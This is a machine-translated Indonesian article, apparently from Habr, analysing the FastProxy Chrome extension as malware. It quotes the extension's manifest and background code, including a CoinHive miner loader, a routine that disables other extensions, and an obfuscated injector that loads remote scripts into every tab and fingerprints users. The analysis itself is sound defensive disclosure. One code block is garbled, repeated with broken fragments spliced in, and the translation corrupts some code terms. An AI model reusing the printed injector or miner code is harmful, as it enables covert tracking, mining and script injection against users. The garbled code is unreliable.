"Virus" dalam ekstensi menggunakan FastProxy sebagai contoh

Pada artikel ini saya akan menunjukkan betapa berbahayanya ekstensi dalam chrome, dan bagaimana caranya
Ekstensi Firefox lebih aman.


Ini tentang memperluas FastProxy.
Dalam kasus apapun jangan meletakkannya dalam bentuk murni di krom.


Untuk mendapatkan kode sumbernya, Anda harus terlebih dahulu memasang ekstensi lain dari penampil sumber ekstensi Chrome .


Setelah itu, buka halaman .


Ikon CRX akan berubah menjadi kuning - klik dan pilih "unduh sebagai zip".


Sekarang untuk analisis kode.


1. Manifest (manifest.json) - inti dari ekstensi apa pun


Pembatasan ekstensi ditetapkan oleh CSP (kebijakan keamanan konten) dan izin:


"content_security_policy": "script-src 'self' 'unsafe-eval' https://ssl.google-analytics.com ; object-src 'self'",
"izin": ["proksi", "tab", "webRequest", "webRequestBlocking", "manajemen", "\ u003Call_urls>", "storage"],

CSP harus segera menyiagakan, memungkinkan eval-eval (lebih lanjut tentang ini di sini ).
Yaitu jalankan kode dari sembarang string yang dilewati.


  • Izin management memungkinkan Anda mengelola ekstensi lain.
  • Izin webRequestBlocking memungkinkan untuk mengganti sepenuhnya semua permintaan yang melewati browser.
  • Izin \u003Call_urls> sama dengan <all_urls> - memungkinkan Anda untuk bertindak di situs mana pun.

Pelajari lebih lanjut tentang izin di sini .


Yaitu berdasarkan hanya satu file manifes, ekstensi sudah memiliki tingkat besar akses ke semuanya.


File kode kunci tercantum dalam


"latar belakang": {
"script": ["lib.js", "jquery.min.js", "background.js", "ga.js"]
},

Mereka dieksekusi secara berurutan dalam array segera setelah menginstal ekstensi atau segera setelah meluncurkan browser.




2. Analisis file proses latar belakang


Kode diminimalkan dan bingung. Untuk mengungkap, kami akan menggunakan situs http://jsbeautifier.org/ dengan pengaturan default.


  • Saya membandingkan file jquery.min.js dengan kode 2.2.4 jquery asli - mereka cocok.
  • File ga.js hanyalah kode Google Analytics.
  • File lib.js adalah CryptoJS.
  • Kode utama terkonsentrasi di background.js.

Untuk membuatnya lebih mudah untuk membaca kode, saya menulis ulang sedikit (fungsi diubah namanya, mengubah koma menjadi blok terpisah, dll.).
Anda juga dapat menggunakan versi firefox dari ekstensi yang sama untuk memahami bagian non-inti dari kode.
Penggunaan proxy di firefox dan chrome pada dasarnya berbeda.


Untuk mengunduh versi ekstensi firefox, Anda perlu membuka tautan di firefox.
Salin tautan ke "Tambahkan ke Firefox" dan buka di chrome.
Buka sebagai arsip zip.


Kode yang ditulis ulang dapat ditemukan di tautan ini .




3. Analisis background.js


Pertama-tama, Anda perlu memahami bahwa $.ajax dieksekusi pada file skrip menanamkan skrip ini di halaman (dalam hal ini, bukan di halaman, tetapi dalam proses latar belakang).


Dijaga oleh garis


 localStorage.C = JSON.stringify( [ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==" ] ); 

Mereka sudah memberi tahu kami bahwa masalahnya tidak bersih.


Tambahkan console.log setelah CryptoJS.AES.decrypt( JSON.parse( localStorage.C)[cc], "config") dan CryptoJS.AES.decrypt( JSON.parse(localStorage.P)[pc], "record") , melarang eksekusi ajax itu sendiri.


Pada saat yang sama, di baris JSON.parse( localStorage.C)[cc] (dan serupa untuk catatan) cc kita ubah dari 0 ke 1 (nanti menjadi 2 ketika kita melihat array dari 3 elemen).


Kami mendapatkan tautan:
untuk konfigurasi ini


http://proxyrus.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (1)
http://proxy-fast.ru/proxy/config/config.txt?uid=1534767152937&version=5.0.4 (2)

untuk merekam ini


http://proxyrus.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (3)
http://proxy-fast.ru/proxy/config/data.txt?uid=1534767152937&version=5.0.4 (4)

Selain itu, tautan memberikan data hanya ketika menggunakan uid dan versi dengan kedua parameter, dan juga hanya melalui $ .ajax atau fetch. Melihat hanya membuka melalui browser tidak berfungsi - ternyata ada pemeriksaan untuk header yang masuk.


Sekarang mari kita beralih ke apa yang diberikan ajax ini. Jika Anda ingin membacanya sendiri, lebih baik menggunakan fetch di beberapa proyek lain (Anda perlu menginstal ekstensi yang membuka kunci CORS di browser).


config_proxyrus.ru.js


Jadi, tautan pertama memberi kita skrip yang akan secara otomatis disematkan dalam proses latar belakang, karena 'tidak aman-eval' ada, tetapi tidak ada batasan tautan di CSP.


Perlu dicatat


 function antiZapret (tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined' && changeInfo.status == 'complete') { chrome.tabs.executeScript(tabId,{code: "if (document.body.innerText.indexOf(': ') != -1) document.body.innerHTML = '<center style=\"margin-top: 50px; font-size:20px;\">   .<br><br>  .</center>'",runAt:"document_start"}); } 

Kami mengemudi dalam pencarian untuk "anti-larangan fastproxy" dan membuka hasil pencarian ke - 4 , bagian "Hati-hati".
Ternyata FastProxy tidak menggunakan server proxy sendiri.


config_proxy-fast.ru.js


Tautan kedua memberikan kode yang mirip dengan yang pertama, tetapi skripnya sudah berbeda!


 function closeWindow () { const time = 500; //    setInterval(function() { //     chrome.tabs.getSelected(null, function (details) { //     id -  if (details.id == -1) window.close(); }) }, time); } closeWindow(); 

Biasanya semua tab memiliki id. Pengecualian adalah jendela tab konsol browser. Yaitu ini adalah perlindungan terhadap pengintaian melalui konsol.


File ini juga mengandung url baru, mendekripsi mereka menggunakan CryptoJS.AES.decrypt( value, "config").toString(CryptoJS.enc.Utf8) dan CryptoJS.AES.decrypt( value, "record").toString(CryptoJS.enc.Utf8) .
2 tautan pertama sama dengan yang sebelumnya. Tetapi yang ketiga berbeda:


http://fastproxy.ga/proxy/config/config.txt

Untuk 'rekam' ketiga tautan itu baru.


http://proxyrus.ru/proxy/config/data_ru.txt
http://proxy-fast.ru/proxy/config/data_ru.txt
http://fastproxy.ga/proxy/config/data_ru.txt

config_fastproxy.ga.js


Bahkan, tidak ada bedanya dengan config_proxy-fast.ru.js


Kembali ke config_proxyrus.ru.js


Kode tersebut juga berisi menutup konsol. Kemudian kesenangan dimulai.


Tali


 var ext_id = chrome.app.getDetails().id; 

mendapatkan pengenal ekstensi, dan ini adalah fitur tidak berdokumen.
Dokumentasi saat ini menggunakan metode yang berbeda
Selanjutnya datang garpu:


 if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0 ="]); if (ext_id == 'beopoifhaiidibmihoignfdkkbmjipha' || ext_id == 'fcdjcppkancjbpdhemdjhebpomdobibe' || ext_id == 'ofgklcpjmjllneddlbdagcfjejijgddf' || ext_id == 'pkmnmcdbmckjkjamjplinbcfajgpdofg' || ext_id == 'gmepkmkiaabodlcacffkfcebpmoignmn') { localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); chrome.runtime.reload(); //    } else { localStorage.C = JSON.stringify([ "U2FsdGVkX19b+rGRl3biafMC1rSMejJ/WYMKl4LQUJj9v6z/cHmXINDh2Ugh+q7jo0OGj1IBFtLC0v3Y23luKQ==", "U2FsdGVkX1+poIEChHKgvzBELSP2+vHvotbMSAWxZT53njC5kQ7FzhtsuhRy4F7bHectHXiC6qQzfQEFT7tawQ==", "U2FsdGVkX19KHybcO9+ekVU/z2EbOWZdK42M6O3fdj30yg8Eb/uK2bpDbUCX/GAbhgMzvjOoGx7yBIpbGICjkA==", ]); localStorage.P = JSON.stringify([ "U2FsdGVkX1/VY0dOqAXKTY3QGegKeto9s/+UEFgoHQKH6MIbSWJBHk0q4BcEP33AJ6WmoPXpnuVJqlC1Hcg32g==", "U2FsdGVkX18iHLmS1gYYFtaRIMMGzvXxkz3y41PdqzDR3CylKy5G/yV3Xoc2SJIBWmxiiDuJVdDBHsPhOhsSpA==", "U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); } 

Tiga tautan yang sama jika ext_id tidak termasuk dalam daftar ekstensi yang diinginkan.
Dan satu tautan baru, jika termasuk dalam daftar ekstensi + reboot penuh ekstensi.


Jika ada yang bisa menemukan ekstensi itu, tulis di komentar. Tidak ada kecocokan dengan id FastProxy saat ini. Pencarian melalui google store tidak memberikan apa pun oleh pengidentifikasi mereka.


Penjelasan tautan


 localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]); 

memberi


http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
yang bisa dibuka langsung di browser.

config_prowebdom.ru.js


Menutup konsol lagi. Dan kemudian yang paling menarik.


 var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); }) 

^ Peluncuran penambang Monero. Ngomong-ngomong, ingat dompetnya, jika kamu melihat sesuatu yang mirip dalam kode, ini adalah orang yang sama.


 function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions(); 

Kode ini menonaktifkan semua ekstensi kecuali sendiri.
Jika tidak ada izin dari manajemen, ini tidak akan mungkin.


Selanjutnya


 chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch); 

dan


 function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { //             chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } } 

tabs.onUpdated memulai panggilan balik saat memperbarui salah satu tahapan memuat tab ke yang lain. Lebih detail di sini.
Sederhananya, ini memengaruhi setiap tab.


 if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') 

Kecuali FastProxy itu sendiri. Rupanya ada serangkaian beberapa ekstensi yang berfungsi seperti virus.


 if (tab.url.indexOf('google') == -1) { 

Semua url kecuali yang berisi string Google. Rupanya karena tab dengan Google bersifat sementara. Alasan sebenarnya tidak jelas bagi saya.


Dan yang terburuk adalah skrip diimplementasikan di setiap tab setelah halaman dimuat sepenuhnya di tab ini:


script1.js


Jalankan melalui beautifier JS.


script2.js


Permainan karakter dapat dihilangkan berkat console.log.
Hal paling berbahaya dimulai ketika tag skrip dibuat.
var l = document.createElement ('script');


Yang menarik minat saya adalah innerHTML atau src.


 l.setAttribute('src', document.location.protocol + '//' + h) 

Bagian kiri jelas - protokol halaman saat ini. Bagian yang tepat adalah tautan yang sebenarnya. Letakkan console.log di sana


Kami mendapatkan


zry4bsop.ru/d6safundjenk6af/30022_0.js

script3.js


Demikian pula, jalankan melalui JS beautifier


script4.js


Prinsip file adalah sama - bagian paling berbahaya adalah menambahkan skrip.


 var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t); 

Kami mendapatkan


zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
jika dijalankan di MDN

Di productforums.google.com, hal yang sama


zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js

Ternyata sisi kanan melekat pada sesuatu


Kami melihat kodenya


 document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2] 

disebutkan dalam fungsi memohon sendiri f
maka f disebutkan dalam


 var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js"; 

Yaitu melalui operasi simbolik, URL yang dikunjungi diteruskan ke skrip.
Kami melihat kode skrip itu sendiri, mereka cocok.


script5.js


Jalankan lagi melalui JS beautifier.


script6.js


Tanpa menulis ulang kode, Anda dapat melihat menambahkan node, membuat skrip, mengganti cookie,
membuat elemen dari awal, ajax. Tetapi cukup sulit untuk memahami apa yang sebenarnya terjadi.
Jadi cobalah untuk mengganti nama fungsi-fungsi bernomor ini.


script7.js


Mengurai file ini sulit. Hal tersulit adalah melalui penciptaan konstan objek yang membuat objek yang menciptakan objek ... Itu juga sulit untuk menemukan fungsi murni untuk mulai mengurai kusut.


Saya tidak dapat mengurai kode sepenuhnya. Tapi apa yang terurai memberi yang berikut ini:


Merakit sidik jari lengkap tentang pengguna, yang kemudian dikonversi menjadi string unik melalui serangkaian operasi bit.
Cetak ini termasuk:


  • Agen pengguna
  • Informasi tentang plugin yang diinstal (terutama untuk IE). Terutama layak disebutkan di sini adalah garis Palemoon. Faktanya adalah Palemoon memungkinkan Anda untuk menggunakan Java.
  • Informasi tentang prosesor yang digunakan
  • Informasi tentang font yang diinstal (fungsi getFontData). Selain itu, kode ini menyediakan kemampuan untuk menggunakan daftar font yang diperluas, selain dari sistem. Tetapi hanya sistem yang digunakan
  • Cetak kanvas unik (fungsi get2dCanvasFingerprint). Mengingat bahwa ia menggunakan beberapa karakter non-standar, ada pemeriksaan untuk keberadaan bahasa yang diinstal dalam sistem.
  • Sidik jari unik oleh webgl (fungsi getWebglFingerprint)
  • Memeriksa kepalsuan data yang disediakan oleh navigator (fungsi hasFalseBrowser). Khususnya dalam hal ini, penggunaan eval.toString () menarik untuk memahami jenis browser apa yang sebenarnya digunakan. Saya tidak akan pernah menebaknya.

Ada fungsi yang menjalankan XMLHttpRequest. Tapi itu tidak digunakan dalam kode dan tidak dimulai ketika skrip dimulai.


Ada fungsi yang menyematkan flash pada halaman, tetapi sebenarnya itu tidak digunakan.


Lihatlah kode pengumpulan sidik jari kanvas / webgl.


Ada embedding dari iframe pada halaman (metode appendBadIframe1).
Sekarang mari kita lihat apa yang ada di iframe ini.


iframe1


Jalankan melalui JS beautifier.


iframe2


Menurut kode, ini adalah penukar informasi dengan skrip utama. Jika skrip utama untuk sebagian besar operasi bit, maka bingkai-e dijalankan melalui properti objek yang dikomputasi. Menggunakan window.postMessage mereka bertukar pesan di antara mereka sendiri.


Kembali ke script7.js


Eksekusi file menciptakan 6 permintaan XHR (dan melalui pembuatan Img), dan ketika Anda mengklik halaman tersebut, jendela baru terbuka.
Tautan yang didekripsi untuk permintaan dapat ditemukan dalam kode.


Kembali ke ekstensi


Kembali ke ekstensi dan catat tautan. Tautan ini digunakan sebagai file .pac untuk metode chrome.proxy.settings.set .
Kode file dapat ditemukan di sini:


https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js

Inti umum dari file adalah untuk menggantung domain melalui proxy yang diblokir dan ip melalui proxy, dan pada LANGSUNG lainnya, yaitu akses tanpa proxy.
Himpunan server dan himpunan domain / ip diblokir berbeda.
Mari kita cari tahu siapa servernya selain Kunci-Otomatis (antizapret.prostovpn.org) menggunakan FastProxy.
Kami mengarahkan postls.com ke dalam pencarian. Buka tautan pertama.


Untuk memblokir ekstensi Browsec, Anda harus membuat aturan VPM yang akan memblokir IP tujuan / nama host
browsec.com
postlm.com
postls.com

Yaitu FastProxy menggunakan server Anti-Ban dan Browsec tanpa servernya sendiri.




4. Tentang potensi ekspansi


Menggunakan izin webrequest + webrequestBlocking, Anda dapat benar-benar mengubah permintaan apa pun, termasuk permintaan internal di dalam chrome itu sendiri.
Yaitu Anda dapat sepenuhnya mengubah halaman HTML, Anda dapat menghapus header yang mengganggu dalam permintaan, termasuk CSP (kebijakan keamanan konten) dari situs.
Dengan menggunakan proxy Anda, Anda dapat menggabungkan semua lalu lintas pengguna yang melewati proxy Anda.




5. Tentang kebijakan ekstensi Google dan Mozilla


Kebijakan Google jauh lebih ringan daripada kebijakan Mozilla, mereka menerbitkan hampir semuanya.
Mozilla memiliki persyaratan ketat: evafe-eval dilarang, pengabaian kode dilarang (diizinkan jika Anda menyediakan kolektor lengkap).
Mozilla juga secara berkala melihat kode ekstensi, tetapi tidak segera setelah publikasi.
Lebih detail bisa dibaca di sini dan di sini .
Karena alasan ini, memasang ekstensi firefox baru jauh lebih tenang daripada ekstensi chrome.




6. Apa yang baru dalam kode:


navigator memberikan sejumlah data unik tentang peramban yang tidak realistis dibandingkan sebelumnya. Dan kemungkinan besar akan memberi lebih banyak di masa depan.


eval.toString, serta fungsi-fungsi asli lainnya, akan memungkinkan Anda untuk menghitung versi browser yang sebenarnya.


Cetak unik di atas kanvas dan webgl.




7. Pertanyaan untuk pembaca


Jika seseorang bekerja dengan webgl, beri tahu kami apa fungsi getWebglFingerprint. Dan apa yang ternyata unik di sana?




Semua sumber dapat ditemukan di sini.

Source: https://habr.com/ru/post/id421735/


All Articles